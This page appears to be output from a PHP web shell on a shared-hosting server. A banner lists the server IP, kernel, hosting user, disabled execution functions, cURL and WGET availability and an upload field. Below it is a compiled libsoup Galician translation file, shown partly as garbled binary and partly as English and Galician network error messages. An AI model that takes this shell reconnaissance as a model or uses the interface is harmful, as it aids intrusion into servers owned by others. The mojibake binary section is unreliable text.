| Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/share/locale/gl/LC_MESSAGES/ |
Upload File : |
�� , | ; � � # � 5 � ' # ! K " m " � ) � � �
5 ; C ' � � � # � & 7 L e " j � � � � � � " * # M & q % � M � & 3 2 8 # k � ! � � � � + �
< �
6 1 0 h ) � . � 3 � ( & ( O % x � C � 6 � /
, J
& w
% �
�
# �
& A + F r 5 � � � � ' $ ' L ( t 3 � 2 � Z - _ � * � . � " � & " 9 \ ! "
% $ # , ( ) & *
+ ' Cannot truncate SoupBodyInputStream Can’t create a TLS server without a TLS certificate Can’t import non-socket as SoupSocket Can’t import unconnected socket Connection terminated unexpectedly Could not import existing socket: Could not listen on address %s, port %d: Could not parse HTTP request Could not parse HTTP response Could not parse URI “%s” Date Modified Duplicated parameter in “%s” WebSocket extension header Failed to completely cache the resource Header too big Hostname has no base domain Hostname is an IP address Incorrect WebSocket “%s” header Invalid WebSocket key Invalid hostname Invalid seek request Invalid “%s” URI: %s Name Network stream unexpectedly closed No URI provided No public-suffix list available. Not an HTTP URI Not enough domains Operation was cancelled Operation would block Output buffer is too small Server ignored WebSocket handshake Server rejected WebSocket handshake Server requested unsupported extension Server requested unsupported protocol Server returned a duplicated parameter in “%s” WebSocket extension header Server returned incorrect “%s” key Size The server did not accept the WebSocket handshake. Unrecognized HTTP response encoding Unsupported URI scheme “%s” Unsupported WebSocket subprotocol Unsupported WebSocket version WebSocket handshake expected Project-Id-Version: libsoup master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libsoup/issues
PO-Revision-Date: 2020-08-13 01:13+0200
Last-Translator: Fran Dieguez <frandieguez@gnome.org>
Language-Team: Galician <proxecto@trasno.gal>
Language: gl
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1)
X-Generator: Gtranslator 3.36.0
X-Project-Style: gnome
Non é posíbel truncar SoupbodyInputStream Non é posíbel crear un servidor TLS sen un certificado TLS Non é posíbel importar un non socket como SoupSocket Non é posíbel importar un socket non conectado A conexión rematou de forma non esperada Non é posíbel importar un socket existente: Non é posíbel escoitar no enderezo %s, porto %d: Non é posíbel analizar a consulta HTTP Non é posíbel analizar a resposta HTTP Non é posíbel analizar o URI «%s» Data de modificación Parámetro duplicado «%s» na cabeceira da extensión de WebSocket Produciuse un fallo ao cachear completamente o recurso Cabeceira demasiado grande O nome do computador non ten un dominio base O nome do computador é un enderezo IP Cabeceira «%s» WebSocket incorrecta Chave de WebSocket non válida O nome do computador non é válido Petición de busca non válida URI «%s» non válida: %s Nome Fluxo de rede pechado de forma non esperada Non se forneceu un URI Non hai unha lista de sufixos públicos dispoñíbel. Non é unha URI de HTTP Non hai dominios dabondo A operación foi cancelada A operación bloquearase O búfer de saída é demasiado pequeno Saúdo WebSocket ignorado polo servidor Saúdo WebSocket rexeitado polo servidor Extensión solicitado polo servidor non compatíbel Protocolo solicitado polo servidor non compatíbel O servidor devolveu un parámetro duplicado «%s» na cabeceira da extensión do WebSocket Chave «%s» devolta polo servidor incorrecta Tamaño O servidor non acepta un saúdo WebSocket. Codificación da resposta HTTP non recoñecida Esquema de URI «%s» non admitido Subprotocolo WebSocket non compatíbel Versión de WebSocket non admitida Agardábase un saúdo WebSocket